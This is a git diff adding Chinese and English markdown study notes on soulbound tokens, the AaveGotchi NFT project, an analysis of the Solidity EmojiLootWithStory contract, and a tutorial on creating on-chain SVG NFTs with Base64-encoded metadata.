+- **Stack Exchange & Reddit**: 提问和分享与SBT和DID相关的经验和见解，是获取帮助和知识的好地方。
+
+## 应用实例
+- **去中心化金融（DeFi）**: 在DeFi平台中，SBT可以用作信用评级的基础，提升借贷的透明度和安全性。
+- **社交网络**: 用户可以通过SBT证明自己的社交身份和历史，在去中心化社交平台上建立信任。
+- **身份认证**: 利用DID和SBT的结合，企业可以验证用户身份，并为他们颁发具有法律效力的数字证书。
+
+## 未来发展
+- **标准化**: SBT和DID的发展仍处于早期阶段，未来可能会有更多标准化的工作，以促进不同平台和协议之间的互操作性。
+- **法律与合规**: 随着SBT和DID的普及，相关法律法规的制定将成为重点，确保用户隐私和数据安全。
+- **技术创新**: 随着区块链和加密技术的进步，新的解决方案将不断涌现，以增强SBT和DID的功能和应用场景。
+
+## 参考链接
+- [Vitalik文章](https://vitalik.eth.limo/general/2022/01/26/soulbound.html)
+- [Decentralized Society: Finding Web3's Soul](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=4105763)
+- [SBT综述](https://mirror.xyz/0x07599B7E947A4F6240F826F41768F76149F490D5/fbYA4BbpB8zxbFqO2FpyLEFprXMqhSfQQQIo_lU8LGE)
+- [DID总结文章1](https://docs.qq.com/doc/DVGJFUWN6RGRZdWJo)
+- [DID总结文章2](https://docs.qq.com/doc/DVEFDQ2FISWVRa0RX)
diff --git a/nft/aavegotchi/readme.md b/nft/aavegotchi/readme.md
new file mode 100644
index 000000000..2376d8e69
--- /dev/null
+++ b/nft/aavegotchi/readme.md
@@ -0,0 +1,42 @@
+# AaveGotchi
+
+AaveGotchi 是一种基于以太坊和 Polygon 的 NFT 项目，结合了去中心化金融 (DeFi) 和游戏化元素，用户可以在其中拥有并互动带有 Aave 抵押资产的数字宠物。AaveGotchi 通过质押支持的机制使得 NFT 不仅仅是收藏品，还具有内在的 DeFi 价值。
+
+## 项目概述
+
+AaveGotchi 是通过 Aave 借贷协议运行的 NFT，每个 “Gotchi” 是一个带有质押资产的像素化幽灵。用户可以通过存入 Aave 支持的资产来创造和升级他们的 Gotchi，获得收益的同时，参与游戏的奖励和挑战。
+
+### 核心特性
+
+1. **Spirit Force (灵力)**  
+   每只 AaveGotchi 都由 Aave 借贷协议的资产 (例如 DAI、USDC) 作为抵押支持。这种质押资产称为 “Spirit Force”，是确保 AaveGotchi 价值的基础。  
+   
+2. **BRS (Base Rarity Score) 基础稀有度评分**  
+   AaveGotchi 的稀有度由 BRS 决定，取决于宠物的属性、穿戴装备和装饰。稀有度越高的 Gotchi 越受欢迎，在拍卖和游戏中能获得更高的奖励。  
+
+3. **互动与装备**  
+   用户可以定期与 Gotchi 互动以增加其忠诚度，并通过各种可穿戴装备提升其属性，这些装备也可以通过市场交易获得。
+
+4. **游戏化和稀有度奖励 (Rarity Farming)**  
+   AaveGotchi 项目通过 “稀有度农场” 活动激励用户提升 Gotchi 的稀有度。用户可以在活动中获得 GHST 代币奖励，激励玩家提升 Gotchi 的价值和稀有度。  
+
+### GHST 代币
+
+AaveGotchi 的原生代币 GHST 是生态系统中的交易和治理代币。它可以用于购买 AaveGotchi、装备以及参与拍卖和活动。
+
+- **购买 AaveGotchi 门票**：GHST 可用于购买开启 AaveGotchi 的入场门票。
+- **治理**：GHST 持有者可以参与治理投票，共同决定项目未来的方向。
+- **交易与奖励**：GHST 在生态中广泛用于装备购买、交易市场等。
+
+## 经济模型
+
+AaveGotchi 的经济模型基于 GHST 代币的流通和 Spirit Force 质押资产的积累。GHST 的需求由 AaveGotchi 购买和生态活动驱动，Spirit Force 则确保了每只 Gotchi 的 DeFi 价值。
+
+## 未来发展
+
+AaveGotchi 团队计划引入更多游戏化功能和跨链支持，进一步丰富用户体验。此外，计划中的 AaveGotchi DAO 将赋予 GHST 持有者更多的治理权，以推动项目的去中心化发展。
+
+## 参考链接
+
+- [AaveGotchi 官方文档](https://aavegotchi.medium.com/)
+- [AaveGotchi 白皮书](https://docs.google.com/document/d/186zOapKeHNNJ9y8LIByQQ64rs0eJUlEF/edit#)
diff --git "a/nft/doc/NFT \345\234\243\347\273\217.pdf" "b/nft/doc/NFT \345\234\243\347\273\217.pdf"
new file mode 100644
index 000000000..61b5ccdbc
Binary files /dev/null and "b/nft/doc/NFT \345\234\243\347\273\217.pdf" differ
diff --git "a/nft/doc/NFT\345\210\206\344\272\253 V2.xmind" "b/nft/doc/NFT\345\210\206\344\272\253 V2.xmind"
new file mode 100644
index 000000000..864e3dc9c
Binary files /dev/null and "b/nft/doc/NFT\345\210\206\344\272\253 V2.xmind" differ
diff --git "a/nft/doc/NFT\345\210\206\344\272\253 V3.xmind" "b/nft/doc/NFT\345\210\206\344\272\253 V3.xmind"
new file mode 100644
index 000000000..fc1280ce4
Binary files /dev/null and "b/nft/doc/NFT\345\210\206\344\272\253 V3.xmind" differ
diff --git "a/nft/loot-nft/EmojiLootWithStory\345\220\210\347\272\246\345\210\206\346\236\220.md" "b/nft/loot-nft/EmojiLootWithStory\345\220\210\347\272\246\345\210\206\346\236\220.md"
new file mode 100644
index 000000000..093a586e7
--- /dev/null
+++ "b/nft/loot-nft/EmojiLootWithStory\345\220\210\347\272\246\345\210\206\346\236\220.md"
@@ -0,0 +1,355 @@
+# EmojiLootWithStory合约分析
+
+前几天看到一个有趣的NFT智能合约，名字叫做EmojiLoot，大家可以在opensea上面查看到他，其本质是拼接各种标签样式成为一张SVG图片，上面有各种各样有趣的Emoji，更加有意思的是通过EmojiLootWithStory合约可以给EmojiLoot合约发行的NFT上面添加动态字幕，下面就主要分析一下EmojiLootWithStory合约。
+
+在分析之前，我们来简单了解一下SVG，SVG是W3C推出的基于XML的二维矢量图形标准。SVG可以提供高质量的矢量图形渲染，同时由于支持JavaScript和文档对象模型，SVG图形通常具有强大的交互能力。另一方面，SVG作为W3C所推荐的基于XML的开放标准，能够与其他网络技术进行无缝集成。
+
+下面就是一个简单SVG图片的例子，：
+
+```html
+<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350">
+<style>
+  .base { fill: white; font-family: serif; font-size: 12px; }
+</style>
+<rect width="100%" height="100%" fill="black" />
+<text x="10" y="20" class="base">Hello</text>
+</svg>
+```
+
+可以直接保存，浏览器打开：![image-20211023094247124](https://gitee.com/hqwangningbo/blogimage/raw/master/Substrate/image-20211023094247124.png)
+
+
+
+现在回到主题EmojiLootWithStory合约，EmojiLootWithStory合约本质也是一个发行NFT的ERC721,但是让其作为EmojiLoot合约的增强合约，做出了很多限制处理，例如：只有在EmojiLoot合约拥有NFT的所有权，才有权限在EmojiLootWithStory合约上面加工、接收对应token ID 的NFT，具体可以看源码分析，如下：
+
+总览EmojiLootWithStory合约：
+
+* 构造方法
+* 变量
+  * eloot
+  * Story
+  * _storys
+  * chapter
+* 事件
+  * Claim
+* 函数
+  * storyOfTokenByIndex
+  * tokenURI
+  * claim
+  * _beforeTokenTransfer
+  * _replace
+
+下面我们按照上面，把合约拆开一点点来分析：
+
+构造函数，方法参数需传入实现IEmojiLoot接口的EmojiLoot合约，并给传入的合约地址赋给变量eloot
+
+```solidity
+    constructor(address _eloot) public {
+        eloot = _eloot;
+    }
+```
+
+变量
+
+```solidity
+		//需要添加故事字幕的EmojiLoot智能合约地址
+		address public eloot;
+    //故事结构体
+    struct Story {
+    		//NFT拥有者
+        address owner;
+        //故事作者
+        string author;
+        //故事内容
+        string story;
+    }
+		//tokenId => chapter => Story
+    mapping(uint256 => mapping(uint256 => Story)) private _storys;
+    //tokenId => chapter，这个chapter主要是为了查询一个NFT的历史故事
+    mapping(uint256 => uint256) public chapter;
+```
+
+事件
+
+```solidity
+	 //声明story事件
+    event Claim(
+        address indexed to,
+        uint256 indexed tokenId,
+        string author,
+        string story
+    );
+```
+
+函数storyOfTokenByIndex,获取历史故事详情,给定token id和同一个NFT的第几次声明的故事
+
+```solidity
+function storyOfTokenByIndex(uint256 tokenId, uint256 index)
+        public
+        view
+        returns (Story memory)
+    {
+        return _storys[tokenId][index];
+    }
+```
+
+函数tokenURI就是拼接SVG的主要函数，拼接SVG标签、样式代码，同时中间穿插获取EmojiLoot合约上获取各部分Emoji的内容，比如getWeapon、getFaces等
+
+```solidity
+		function tokenURI(uint256 tokenId)
+        public
+        view
+        override
+        returns (string memory)
+    {
+    		//定义一个字符串数据，把svg内容分别复制进去，然后把他拼接起来
+        string[24] memory parts;
+        parts[
+            0
+        ] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 12px; }.content{line-height:1.2;animation: moveUp 8s 0s infinite;position:relative;color: #fff;}.box{overflow: hidden;height: 150px;}@keyframes moveUp{0% {top:100%;} 100% {top:-100%; display: none;}}</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
+        
+        parts[1] = IEmojiLoot(eloot).getWeapon(tokenId);
+
+        parts[2] = '</text><text x="10" y="40" class="base">';
+
+        parts[3] = IEmojiLoot(eloot).getFaces(tokenId);
+
+        parts[4] = '</text><text x="10" y="60" class="base">';
+
+        parts[5] = IEmojiLoot(eloot).getBody(tokenId);
+
+        parts[6] = '</text><text x="10" y="80" class="base">';
+
+        parts[7] = IEmojiLoot(eloot).getLocation(tokenId);
+
+        parts[8] = '</text><text x="10" y="100" class="base">';
+
+        parts[9] = IEmojiLoot(eloot).getSport(tokenId);
+
+        parts[10] = '</text><text x="10" y="120" class="base">';
+
+        parts[11] = IEmojiLoot(eloot).getPets(tokenId);
+
+        parts[12] = '</text><text x="10" y="140" class="base">';
+
+        parts[13] = IEmojiLoot(eloot).getFlowers(tokenId);
+
+        parts[14] = '</text><text x="10" y="160" class="base">';
+
+        parts[15] = IEmojiLoot(eloot).getTraffic(tokenId);
+        
+        //故事信息
+        parts[16] = '</text><text x="10" y="180" class="base">Author: ';
+        //作者
+        parts[17] = _storys[tokenId][chapter[tokenId]].author;
+        //第几章，相当于第几次声明故事
+        parts[18] = '</text><text x="10" y="200" class="base">Chapter';
+        parts[19] = Strings.toString(chapter[tokenId]);
+        parts[20] = " : ";
+				//故事内容
+        parts[
+            21
+        ] = '</text><foreignObject width="320" height="510" x="10" y="210"><body xmlns="http://www.w3.org/1999/xhtml"><div class="box"><p class="content">';
+        parts[22] = _storys[tokenId][chapter[tokenId]].story;
+
+        parts[23] = "</p></div></body></foreignObject></svg>";
+        
+        //开始拼接
+        string memory output = string(
+            abi.encodePacked(
+                parts[0],
+                parts[1],
+                parts[2],
+                parts[3],
+                parts[4],
+                parts[5],
+                parts[6],
+                parts[7],
+                parts[8]
+            )
+        );
+        output = string(
+            abi.encodePacked(
+                output,
+                parts[9],
+                parts[10],
+                parts[11],
+                parts[12],
+                parts[13],
+                parts[14],
+                parts[15],
+                parts[16]
+            )
+        );
+        output = string(
+            abi.encodePacked(
+                output,
+                parts[17],
+                parts[18],
+                parts[19],
+                parts[20],
+                parts[21],
+                parts[22],
+                parts[23]
+            )
+        );
+        //对整体拼接好的数据进行Base64编码
+        string memory json = Base64.encode(
+            bytes(
+                string(
+                		//拼接成json对象，方便前端处理数据
+                    abi.encodePacked(
+                        '{"name": "Story #',
+                        Strings.toString(tokenId),
+                        '", "description": "Emoji Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,',
+                        //svg代码独自base64编码一次
+                        Base64.encode(bytes(output)),
+                        '","attributes": [',
+                        abi.encodePacked(
+                            '{"trait_type": "Weapon", "value": "',
+                            _replace(parts[1]),
+                            '"},',
+                            '{"trait_type": "Face", "value": "',
+                            _replace(parts[3]),
+                            '"},',
+                            '{"trait_type": "Body", "value": "',
+                            _replace(parts[5]),
+                            '"},'
+                        ),
+                        abi.encodePacked(
+                            '{"trait_type": "Location", "value": "',
+                            _replace(parts[7]),
+                            '"},',
+                            '{"trait_type": "Sport", "value": "',
+                            _replace(parts[9]),
+                            '"},',
+                            '{"trait_type": "Pet", "value": "',
+                            _replace(parts[11]),
+                            '"},'
+                        ),
+                        abi.encodePacked(
+                            '{"trait_type": "Flower", "value": "',
+                            _replace(parts[13]),
+                            '"},',
+                            '{"trait_type": "Traffic", "value": "',
+                            _replace(parts[15]),
+                            '"}'
+                        ),
+                        "]}"
+                    )
+                )
+            )
+        );
+        output = string(
+            abi.encodePacked("data:application/json;base64,", json)
+        );
+
+        return output;
+    }
+
+```
+
+claim函数，为了声明故事
+
+```solidity
+//声明故事
+    function claim(
+        uint256 tokenId,
+        string memory author,
+        string memory story
+    ) public {
+    		//EmojiLoot合约里面该Token id一定是属于调用者
+        require(
+            IERC721(eloot).ownerOf(tokenId) == _msgSender(),
+            "Only token owner can claim"
+        );
+        //NFT在自己手里只能声明一次故事
+        require(
+            _storys[tokenId][chapter[tokenId]].owner != _msgSender(),
+            "Only can write once"
+        );
+        Story memory _story;
+        _story.owner = _msgSender();
+        _story.author = author;
+        _story.story = story;
+        chapter[tokenId] = chapter[tokenId] + 1;
+        _storys[tokenId][chapter[tokenId]] = _story;
+        //这里就可能有点绕，这里判断的是EmojiLootWithStory合约是不是存在该tokenId，如果不存在，那么就mint
+        if (!_exists(tokenId)) {
+            _safeMint(_msgSender(), tokenId);
+            //如果代码执行下面那种情况，说明该Token ID已经存在。
+            //既然已经存在，那么隐藏条件是
+            //1.原本EmojiLoot合约里面该Token id的拥有者，已经在EmojiLootWithStory声明了一次故事，并且声明完还把EmojiLoot中								 Token id transfer给了调用者
+            //2.EmojiLootWithStory合约中Token id的拥有者要授权给调用者
+            //3.在声明完故事之后，调用者一定是EmojiLoot合约里面该Token id和EmojiLootWithStory合约该Token id的拥有者
+        } else if (ownerOf(tokenId) != _msgSender()) {
+            _transfer(ownerOf(tokenId), _msgSender(), tokenId);
+        }
+        emit Claim(_msgSender(), tokenId, author, story);
+    }
+
+
+```
+
+_beforeTokenTransfer_加上之前的claim合约，充分印证了之前的结论，只有在EmojiLoot合约拥有NFT的所有权，才有权限在EmojiLootWithStory合约上面加工、接收对应token ID 的NFT。至于_replace是为了把”双引号，变成单引号‘，防止双引号里面还是双引号的问题出现。
+
+```solidity
+  //该函数是为了限制EmojiLootWithStory合约中Token id的自由转送，想要成功转移给别人，
+		//首先你得把EmojiLoot合约中的tokenID转移给别人
+    function _beforeTokenTransfer(
+        address from,
+        address to,
+        uint256 tokenId
+    ) internal override {
+        from;
+        require(
+            IERC721(eloot).ownerOf(tokenId) == to,
+            "Only eloot token owner can receive"
+        );
+    }
+
+    //替换双引号
+    function _replace(string memory value)
+        internal
+        pure
+        returns (string memory)
+    {
+        bytes memory buffer = new bytes(bytes(value).length);
+        for (uint256 i = 0; i < bytes(value).length; i++) {
+            buffer[i] = bytes(value)[i] == '"'
+                ? bytes1("'")
+                : bytes1(bytes(value)[i]);
+        }
+        return string(buffer);
+    }
+}
+
+```
+
+每次声明完一次故事，我们可以看看具体SVG做了哪些变动？
+
+原本EmojiLoot合约生成的NFT
+
+![image-20211023100911619](https://gitee.com/hqwangningbo/blogimage/raw/master/Substrate/image-20211023100911619.png)
+
+显示效果：
+
+https://gitee.com/hqwangningbo/blogimage/raw/master/Substrate/1.svg
+
+<img src="https://gitee.com/hqwangningbo/blogimage/raw/master/Substrate/1.svg"/>
+
+经过EmojiLootWithStory合约加工之后，svg代码主要改变：
+
+![image-20211023101748856](https://gitee.com/hqwangningbo/blogimage/raw/master/Substrate/image-20211023101748856.png)
+
+显示效果如下：
+
+https://gitee.com/hqwangningbo/blogimage/raw/master/Substrate/2.svg
+
+<img src="https://gitee.com/hqwangningbo/blogimage/raw/master/Substrate/2.svg"/>
+
+总结：
+
+EmojiLootWithStory合约在原有EmojiLoot合约基础上，再次拼接一些标签样式，已达到动态字幕的目的，同时把EmojiLootWithStory合约的一些功能做一些限制，任何操作NFT的前提是，你必须拥有对应在EmojiLoot合约上的token ID。
+
+![wangningbo](https://gitee.com/hqwangningbo/blogimage/raw/master/Substrate/wangningbo.svg)
diff --git a/nft/loot-nft/README.md b/nft/loot-nft/README.md
new file mode 100644
index 000000000..4438a8e05
--- /dev/null
+++ b/nft/loot-nft/README.md
@@ -0,0 +1,206 @@
+# Loot NFT
+
+## [EmojiLootWithStory合约分析](./EmojiLootWithStory合约分析.md)
+
+## 参考链接
+
+1. https://medium.com/coinmonks/how-to-create-on-chain-nfts-with-solidity-1e20ff9dd87e
+2. https://github.com/Park-City-Utah/onChainNFT
+3. https://www.youtube.com/watch?v=UBGXFV1TQxc
+4. https://www.youtube.com/channel/UC1LV4_VQGBJHTJjEWUmy8nA
+
+## 如何使用 Solidity 创建链上 NFT
+将用户内容整合到 NFT 中
+
+### 链下 NFT
+
+ 这就引出了一个问题，不是所有的 NFT 都在链上吗？
+
+ 嗯，任何在以太坊区块链上从事过 NFT 项目的人都可以告诉你，在链上数据存储方面存在真正的限制；这是非常昂贵的，并且大多数 NFT 项目都将图像和元数据文件存储在链下。
+
+ 通常，我们看到存储在“链上”的唯一数据是元数据（我们的 tokenURI）的不可变哈希——描述这个哈希的最简单方法是链接到我们的实际 NFT，这里的区别在于哈希取决于创建它的数据；更改源，哈希不再有效，因此它是不可变的。
+
+ 现在，您可能熟悉 Loot 等“链上”项目，那么这是如何完成的呢？我们真的可以在链上存储适当的视觉媒体吗？
+
+ 答案是肯定的，但它需要一些东西，即 Base64 编码和 SVG 图像类型。两者都允许我们处理文本数据，而不是典型的内存“重”视觉数据，如 PNG 或 JPEG。
+
+ 这意味着我们需要做两件事：
+1. Base64 编码我们的 json 元数据
+2. 以 SVG 格式编码图像渲染的“指令”
+
+对我们来说幸运的是，浏览器可以理解格式和基于浏览器的市场，例如 OpenSea 可以像链接到 IPFS 存储哈希一样呈现我们的 NFT，但是，浏览器不是“获取和缓存”图像，而是为我们呈现图像.
+
+可以在[此处]([http](https://github.com/Park-City-Utah/onChainNFT))找到实现此目的的代码；Remix将是测试代码的最简单方法。
+
+### Base64 编码
+
+我们可以实现链上元数据存储并避免对任何工具（如 IPFS）的要求的一种方法是对其进行 base64 编码并将其直接存储在我们的 NFT 令牌数据中。您可能熟悉返回给我们的 TokenURI 函数，以及 OpenSea，我们的元数据的哈希值。在我们的例子中，tokenURI 将以编码格式返回实际的元数据；这不再是“链接”，而是元数据本身。
+
+正如我所说，我们将利用 GitHub 中现有的 Base64.sol 库，您可以在此处找到该存储库。您可以从 github 导入或简单地克隆/复制代码并从您粘贴此文件的同一目录中导入此文件。
+
+关于 Base64 编码的说明，编码不是一种数据压缩形式，因此我们不会减少数据的大小，我们只是将其存储为浏览器可以解码的格式。我们的元数据不会太大，我们的 NFT 图像就是这种情况。您可以在下面看到一个示例：
+
+![](./img/1.png)
+
+在我们的示例代码中，我们利用函数“BuildMetaData”，它接受一个 tokenId（我们 NFT 的 id）并返回一个 base64 编码的 json 文本字符串，其中包含 OpenSea 渲染 NFT 所需的所有内容，包括其名称、描述、属性，非常重要的是，我们的形象。它还利用了我将在下面解释的 BuildImage 函数。
+
+
+以下是我们的元数据示例：
+
+```json
+{
+  "name":"NFT1", 
+  "description":"This is our on-chain NFT", 
+  "image": "data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNTAwIiBoZWlnaHQ9IjUwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cmVjdCBpZD0ic3ZnXzExIiBoZWlnaHQ9IjYwMCIgd2lkdGg9IjUwMyIgeT0iMCIgeD0iMCIgZmlsbD0iaHNsKDI5Myw1MCUsMjUlKSIvPjx0ZXh0IGZvbnQtc2l6ZT0iMTgiIHk9IjEwJSIgeD0iNSUiIGZpbGw9ImhzbCg5MCwxMDAlLDgwJSkiPlNvbWUgVGV4dDwvdGV4dD48dGV4dCBmb250LXNpemU9IjE4IiB5PSIxNSUiIHg9IjUlIiBmaWxsPSJoc2woOTAsMTAwJSw4MCUpIj5Tb21lIFRleHQ8L3RleHQ+PHRleHQgZm9udC1zaXplPSIxOCIgeT0iMjAlIiB4PSI1JSIgZmlsbD0iaHNsKDkwLDEwMCUsODAlKSI+U29tZSBUZXh0PC90ZXh0Pjx0ZXh0IGZvbnQtc2l6ZT0iMTgiIHk9IjEwJSIgeD0iODAlIiBmaWxsPSJoc2woOTAsMTAwJSw4MCUpIj5Ub2tlbjogMTwvdGV4dD48dGV4dCBmb250LXNpemU9IjE4IiB5PSI1MCUiIHg9IjUwJSIgdGV4dC1hbmNob3I9Im1pZGRsZSIgZmlsbD0iaHNsKDkwLDEwMCUsODAlKSI+dXNlclRleHQ8L3RleHQ+PC9zdmc+", 
+  "attributes": [
+    {
+      "trait_type": "TextColor",
+      "value":"328"
+    }
+  ]
+}
+```
+
+通常我们的“图像”值看起来像这样：
+
+```json
+{
+"image": "ipfs://QmWwMDLz6hQKCqjYba5cSHdrNUvPvAdndtaWjdFpm52GYm/1.gif"
+}
+```
+
+那么我们的 Image 值怎么了？这看起来也是 Base64 编码的……嗯，你是对的，我们的 Image 值是 1 - SVG 和 2 - SVG 也是 Base64 编码的；这意味着我们的 SVG 文本已经像我们的 json（文本）数据一样被编码。
+
+你会注意到我们在编码的 json 中附加了一些东西，它看起来像这样：
+
+> "data:application/json;base64,"
+
+这仅描述了数据是什么，因此收件人或收件人浏览器如何相应地对其进行解码。
+
+### ABI 编码
+您可能注意到我们还在整个项目代码中执行 ABI 编码。在我们的例子中，ABI 编码或应用程序二进制接口将允许我们连接多行文本。“this”、“is”、“my”、“code”如果没有编码成单个字符串，会导致错误。
+
+### SVG 文件
+那么什么是 SVG，为什么它对我们很重要？SVG 或可缩放矢量图形本质上允许我们以 xml 类型格式或文本形式存储图像；可以存储在链上的文本。我们不是存储大型图像数据，而是用文本描述我们想要的图像，并以我们的浏览器和 OpenSea 可以为我们呈现的方式对其进行编码。我们可以设置图像的各种特征，包括大小、颜色甚至可以为我们渲染的文本。
+
+这样想，如果我想给你发送一张简单的图片，我可以通过电子邮件或短信给你一个高分辨率的 PNG，或者你可以简单地用几句话描述它，让你的收件人为你呈现或生成它。如果日期或数据传输成本很高，我们可以通过增加接收者的成本（作为努力）来降低成本，从而做出“权衡”。
+
+下面的文本描述可能要少得多，然后是高清 PNG。只要接收者有工具来轻松呈现它，我们就大大降低了数据存储或传输方面的成本：
+
+> “500x500 size blue background with white text saying ‘Hello World’”
+
+我们的示例代码在函数 BuildImage 中描述了 SVG 的参数。
+
+有许多用于 SVG 生成的出色在线工具和模板，我鼓励您找到一些工具来帮助您将想法变为 SVG。
+
+我要建议的一件事是确保您使用百分比进行布局，因为对于应用程序开发，“硬编码”值可能会在我们增加或减少我们渲染的屏幕大小时给我们带来问题。1000 像素作为我们文本的起点可能很好，直到我们将设备的屏幕尺寸减小到 1000x1000 以下，在这种情况下，我们最好将其设置为 80%。
+
+我们的 SVG，在 ABI 和 Base64 编码之前：
+
+```json
+'<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">',
+'<rect id="svg_11" height="600" width="503" y="0" x="0" fill="hsl(',
+currentWord.bgHue,
+',50%,25%)"/>',
+'<text font-size="18" y="10%" x="5%" fill="hsl(',
+random,
+',100%,80%)">Some Text</text>',
+'<text font-size="18" y="15%" x="5%" fill="hsl(',
+random,
+',100%,80%)">Some Text</text>',
+'<text font-size="18" y="20%" x="5%" fill="hsl(',
+random,
+',100%,80%)">Some Text</text>',
+'<text font-size="18" y="10%" x="80%" fill="hsl(',
+random,
+',100%,80%)">Token: ',
+_tokenId.toString(),
+"</text>",
+'<text font-size="18" y="50%" x="50%" text-anchor="middle" fill="hsl(',
+random,
+',100%,80%)">',
+currentWord.value,
+"</text>",
+"</svg>"
+```
+
+我们的 SVG BuildImage 的输出可以在这里看到：
+
+![](./img/2.png)
+
+您将再次注意到我们已附加有关数据的详细信息：
+
+
+### 用户输入
+
+我们的智能合约更有趣的功能之一是用户能够通过将一些文本数据输入到 mint 函数中来为最终的 NFT 做出贡献。此用户输入被保存为“内存字符串”，然后通过 BuildImage 函数动态添加到我们的 SVG 数据中。
+
+我限制了文本输入的大小并为此限制添加了一个错误，但否则用户可以完全了解他们可能添加的内容。这是不可变的，将永远存在于区块链上——这可能会导致一些人想要限制某些词，但根据区块链技术的民主化性质，我没有设置进一步的限制或审查。
+
+我们的 mint 函数只需在函数上添加字符串期望即可实现此功能：
+
+```
+function mint(string memory _userText) public payable {
+    uint256 supply = totalSupply();
+    bytes memory strBytes = bytes(_userText);
+    require(strBytes.length <= stringLimit, "String input exceeds limit.");
+    require(exists(_userText) != true, "String already exists!");
+    
+    Word memory newWord = Word(
+        string(
+            abi.encodePacked(
+                "NFT",
+                uint256(supply + 1).toString()
+            )
+        ),
+        "This is our on-chain NFT",
+        randomNum(361, block.difficulty, supply).toString(),
+        randomNum(361, block.timestamp, supply).toString(),
+        _userText
+    );
+
+    if (msg.sender != owner()) {
+        require(msg.value >= 0.005 ether);
+    }
+
+    wordsToTokenId[supply + 1] = newWord; //Add word to mapping @tokenId
+    _safeMint(msg.sender, supply + 1);
+}
+```
+
+### 与我们的 NFT 和智能合约交互
+如果您使用的是 Remix 等工具，您可以简单地更改提供的代码，将其上传到 Remix，编译并部署以进行测试。
+
+由于我们的 mint 函数需要用户输入字符串数据，因此您将能够添加文本，然后利用我们的 tokenURI 函数来查看生成的内容，这与 OpenSea 等市场将利用来检索或解析我们的 NFT 数据和图片。
+
+![](img/3.png)
+
+那么我们该怎么做呢？要在您的浏览器中呈现它，您需要复制“字符串”之后的所有内容（我们不需要这个）并将其粘贴到我们的浏览器中。将其粘贴到我们的浏览器中的结果将如下所示：
+
+![](img/4.png)
+
+
+此外，我们可以通过复制“image”值来查看我们的图像，我们要复制的部分在这里突出显示：
+
+![](img/5.png)
+
+结果可以在这里看到：
+
+![](img/6.png)
+
+
+### 我们的 NFT
+
+有了这个，我们创建了一个智能合约，允许用户在铸币时输入文本，生成包含我们用户输入的 SVG 数据，将其编码为 Base64，并将其添加到我们也是 base64 编码的元数据中。结果，链上 NFT 将呈现在 OpenSea 等市场中：
+![](img/7.png)
+
+
+### 关于REMIX的说明
+如果您选择在 Remix 上测试您的代码，您可能会发现在尝试运行 tokenURI 时遇到超时错误——这是由于在线 JVM 的限制，只需将“环境”设置切换为“Injected Web3”即可解决'。我个人将 Rinkeby 测试网与我的 Metamask 浏览器钱包一起使用。您将需要 Rinkeby 测试网 Eth 来获取来自Rinkeby测试代币。
+![](img/8.png)
+Rinkeby 是一种很好的测试方式，成功的铸币实际上意味着你可以在[Rinkeby OpenSea](https://rinkeby.opensea.io/) 实例上查看你的 NFT ，本质上是 OpenSea 的克隆。
+祝测试愉快！
+
+ 
+### 视频
+对于非常相似的代码的极其详细的演练，尽管在mint中没有用户输入功能，请查看以下 [youtube视频](https://www.youtube.com/watch?v=UBGXFV1TQxc)并关注 [Hashlips](https://www.youtube.com/channel/UC1LV4_VQGBJHTJjEWUmy8nA) 的频道，您将在其中找到各种优秀的 NFT 内容。
diff --git a/nft/loot-nft/README_en.md b/nft/loot-nft/README_en.md
new file mode 100644
index 000000000..3427c3ae3
--- /dev/null
+++ b/nft/loot-nft/README_en.md
@@ -0,0 +1,193 @@
+# Loot NFT
+
+## [EmojiLootWithStory合约分析](./EmojiLootWithStory合约分析.md)
+
+## Reference link
+
+1. https://medium.com/coinmonks/how-to-create-on-chain-nfts-with-solidity-1e20ff9dd87e
+2. https://github.com/Park-City-Utah/onChainNFT
+3. https://www.youtube.com/watch?v=UBGXFV1TQxc
+4. https://www.youtube.com/channel/UC1LV4_VQGBJHTJjEWUmy8nA
+
+## How To Create On-chain NFTs with Solidity
+Incorporating user content into an NFT at mint
+
+Having been some time since I’ve written anything blockchain or NFT related I figured an update was in order.
+
+At the time of writing this my first NFT article, Creating Generative Art NFTs with Python and Solidity, has over 50k views; many of which resulted individuals, companies and dev teams reaching out for blockchain development or consultation services. Thanks to readers sharing these articles I’ve had the opportunity to work on a number of interesting projects — today I’d like to share the details of one such project in particular. The client request in this case, to develop an entirely on-chain NFT with the additional capability of adding user content at time of mint.
+### Off-chain NFTs
+This begs the question, aren’t all NFTs on-chain? Well, anyone who has worked on an NFT project on the Ethereum blockchain can tell you there are real limitations with regard to on-chain data storage; this is prohibitively expensive and most NFT projects store both image and metadata files off-chain. Typically the only data we see stored “on-chain” is an immutable hash to our metadata (our tokenURI) — The easiest way to describe this hash is a link to our actual NFT, the difference here being that a hash is dependant on the data from which it is created; alter the source, and the hash is no longer valid, hence it is immutable. To keep things ‘decentralized’ off chain storage solutions like IPFS and Arweve do the ‘heavy lifting’ with respect to decentralized NFT data storage by leveraging a ‘community’ of nodes around the world — anyone can run an IPFS node just as anyone can run a blockchain miner or consensus node.
+
+Now, you may be familiar with ‘on-chain’ projects like Loot, so how is this done? Can we actually store proper visual media on-chain?
+
+Well the answer is yes but it requires a few things, namely Base64 encoding and the SVG image type. Both allow us to deal in textual data rather than the typical memory ‘heavy’ visual data like PNG or JPEG. This means we need to do 2 things:
+
+1 — Base64 encode our json metatdata
+
+2 — Encode ‘instructions’ for image render in the SVG format
+
+Lucky for us browsers can understand both formats and browser based marketplaces like OpenSea can render our NFT in the same way it would a link to an IPFS storage hash however, instead of ‘getting & caching’ the image, the browser renders the image for us.
+
+As usual the code to achieve this can be found and forked here; Remix will be the easiest way to test your code**.
+
+### Base64 encoding
+One way to we can achieve on-chain metadata storage and avoid the requirement for any tool such as IPFS is to base64 encode it and store it directly in our NFT token data. You may be familiar with the TokenURI function that returns to us, and OpenSea, the hash to our metadata.. well in our case tokenURI will return the actual metadata, in an encoded format; this is no longer a ‘link’ but the metadata itself.
+
